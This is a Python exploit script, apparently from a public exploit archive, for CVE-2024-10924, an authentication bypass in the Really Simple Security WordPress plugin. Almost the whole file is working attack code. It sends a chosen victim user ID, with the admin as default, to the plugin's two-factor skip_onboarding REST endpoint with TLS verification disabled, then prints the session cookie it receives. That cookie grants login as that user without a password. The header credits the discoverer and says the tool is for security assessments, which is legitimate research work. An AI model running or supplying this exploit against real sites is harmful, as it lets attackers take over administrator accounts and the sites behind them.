#!/usr/bin/env python3 # Exploit Title: Really Simple Security 9.1.1.1 - Authentication Bypass # Date: 2024-11-19 # Exploit Author: Antonio Francesco Sardella # Vendor Homepage: https://really-simple-ssl.com/ # Software Link: https://really-simple-ssl.com/ # Version: Really Simple Security (Free, Pro, and Pro Multisite) 9.0.0 - 9.1.1.1 # Tested on: 'WordPress 6.7.0' in Docker container (vulnerable application), 'Ubuntu 24.04.1 LTS' with 'Python 3.12.3' (script execution) # CVE: CVE-2024-10924 # Category: WebApps # Repository: https://github.com/m3ssap0/wordpress-really-simple-security-authn-bypass-exploit # Vulnerability discovered and reported by: István Márton # This is a Python3 program that exploits Really Simple Security < 9.1.2 authentication bypass vulnerability. # This makes it possible for unauthenticated attackers to log in as any existing user on the site, # such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default). # https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass # https://plugins.trac.wordpress.org/changeset/3188431/really-simple-ssl # DISCLAIMER: This tool is intended for security engineers and appsec people for security assessments. # Please use this tool responsibly. I do not take responsibility for the way in which any one uses # this application. I am NOT responsible for any damages caused or any crimes committed by using this tool. import argparse import json import logging import random import requests import string import validators from requests.auth import HTTPBasicAuth VERSION = "v1.0 (2024-11-19)" DEFAULT_LOGGING_LEVEL = logging.INFO def parse_arguments(): parser = argparse.ArgumentParser( description=f"Exploit for Really Simple Security < 9.1.2 authentication bypass vulnerability (CVE-2024-10924). - {VERSION}" ) parser.add_argument("-t", "--target", required=True, help="URL of the target WordPress") parser.add_argument("-uid", "--user-id", required=False, default=1, help="Victim user ID (1 is usually the admin).") parser.add_argument("-v", "--verbose", action="store_true", required=False, default=False, help="verbose mode") return parser.parse_args() def validate_input(args): try: validators.url(args.target) except validators.ValidationFailure: raise ValueError("Invalid target URL!") try: if int(args.user_id) < 1: raise ValueError("Invalid user ID!") except ValueError: raise ValueError("Invalid user ID!") def send_request(url, user_id): logging.info("Sending request to target WordPress.") target_endpoint = f"{url}" if not target_endpoint.endswith("/"): target_endpoint = f"{target_endpoint}/" target_endpoint = f"{target_endpoint}?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36", } body = { "user_id": int(user_id), "login_nonce": "".join(random.choices(string.digits, k=10)), "redirect_to": "/wp-admin/" } logging.debug(f"Body: {body}") try: r = requests.post(target_endpoint, headers=headers, json=body , verify=False) logging.info(f"Request sent to target WordPress (HTTP {r.status_code}).") except Exception as e: logging.fatal("Error in contacting the target WordPress.") logging.fatal(e) return if r.status_code == 200 and r.headers["Set-Cookie"] is not None and "redirect_to" in r.text and "=deleted;" not in r.headers["Set-Cookie"]: logging.info(f"Cookie received:\n---------------------\n{r.headers["Set-Cookie"]}\n---------------------") else: logging.fatal("Wrong response received from the target WordPress.") logging.debug(f"Cookie and body received:\n---------------------\n{r.headers["Set-Cookie"]}\n---------------------\n{r.text}\n---------------------") def main(): args = parse_arguments() logging_level = DEFAULT_LOGGING_LEVEL if args.verbose: logging_level = logging.DEBUG logging.basicConfig(level=logging_level, format="%(asctime)s - %(levelname)s - %(message)s") validate_input(args) target = args.target.strip() user_id = int(args.user_id) logging.info(f"Exploit for Really Simple Security < 9.1.2 authentication bypass vulnerability (CVE-2024-10924). - {VERSION}") logging.debug("Parameters:") logging.debug(f" target = {target}") logging.debug(f" user_id = {user_id}") send_request(target, user_id) logging.info("Finished.") if __name__ == "__main__": main()